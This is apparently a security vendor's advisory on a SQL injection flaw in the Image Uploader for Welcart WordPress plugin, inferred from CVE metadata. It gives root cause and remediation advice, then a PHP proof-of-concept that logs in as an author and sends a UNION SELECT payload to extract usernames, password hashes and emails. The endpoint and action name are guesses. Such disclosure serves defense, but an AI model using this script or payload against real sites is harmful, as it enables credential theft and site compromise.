Atomic Edge analysis of CVE-2026-16080 (metadata-based): This vulnerability is a generic SQL Injection in the Image Uploader for Welcart plugin, affecting all versions up to and including 1.4.6. An authenticated attacker with author-level privileges can exploit the ‘post_title’ parameter to append additional SQL queries, leading to the extraction of sensitive data from the WordPress database. The CVSS score of 6.5 (High confidentiality impact, no integrity/availability impact) reflects the information disclosure potential. No patch is currently available, leaving vulnerable installations exposed.
The root cause, inferred from the CWE-89 classification and the vulnerability description, is a failure to properly sanitize user-supplied input for the ‘post_title’ parameter and a lack of parameterized queries in the underlying SQL statement. The plugin likely constructs a database query by directly concatenating the ‘post_title’ value provided by the user into the SQL string, and passes it to a WordPress database method like `$wpdb->query()` or `$wpdb->get_results()` without using `$wpdb->prepare()`. This conclusion is inferred from the vulnerability metadata as no source code was available for analysis. The ‘post_title’ parameter is presumably accepted during the media/attachment upload process, where the plugin handles image metadata.
For exploitation, an authenticated user with at least author-level capabilities can craft a malicious ‘post_title’ value containing SQL injection payloads. The attack likely occurs during the image upload process via an AJAX handler or a form submission that processes the attachment details. The attacker would use a payload such as `’ UNION SELECT user_login,user_pass FROM wp_users– -` to append to the existing query, allowing them to extract usernames and password hashes. The attack vector is remote, requiring no user interaction, and uses a POST request with the crafted ‘post_title’ parameter. An example endpooint might be `/wp-admin/admin-ajax.php` with an action specific to the plugin, although the precise endpoint is inferred from the plugin’s functionality.
The remediation requires proper input validation and the use of prepared statements. The plugin should employ `$wpdb->prepare()` for all SQL queries that incorporate user inputs, ensuring that values are treated as data, not executable SQL. Additionally, WordPress’s `sanitize_title()` or `sanitize_text_field()` functions should be used to sanitize the ‘post_title’ parameter before any database interaction. Since no patched version is available, users are advised to disable the plugin until a vendor-supplied fix is released. Administrators should also audit any custom code that calls the plugin’s functions.
If exploited, this vulnerability allows an attacker to extract sensitive information from the WordPress database, including user credentials, password hashes, session tokens, and potentially other plugin or site data. The information could be used to further compromise the site, such as by cracking passwords or performing privilege escalation to administrator access. Although the vulnerability itself only impacts confidentiality, the extracted data can lead to more severe consequences, such as full site compromise.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-16080 - Image Uploader for Welcart <= 1.4.6 - Authenticated (Author+) SQL Injection via Attachment 'post_title' Parameter
// This PoC demonstrates a SQL injection attempt via the 'post_title' parameter.
// It assumes an author-level user with valid credentials and that the plugin exposes an AJAX action for attachment updates.
// The exact action name is inferred from WordPress conventions; adjust if necessary.
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'author_user';
$password = 'author_pass';
$action = 'image_uploader_welcart_update_attachment'; // Inferred AJAX action
// Step 1: Authenticate to get cookies
$login_url = 'https://example.com/wp-login.php';
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'https://example.com/wp-admin/',
'testcookie' => '1'
]);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
if (!$response) {
die('Authentication request failed.n');
}
// Step 2: Craft SQL injection payload in post_title
// The payload appends a UNION SELECT to extract usernames and password hashes.
// Adjust number of columns to match the original query if needed.
$payload = "' UNION SELECT user_login,user_pass,user_email FROM wp_users-- -";
$post_data = [
'action' => $action,
'post_title' => $payload,
'attachment_id' => 1 // Example attachment ID; may need to be a valid one
];
// Step 3: Send the crafted request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'X-Requested-With: XMLHttpRequest'
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "[+] Request sent. Check response for leaked data.n";
echo $response . "n";
} else {
echo "[-] Request failed with HTTP code: " . $http_code . "n";
}
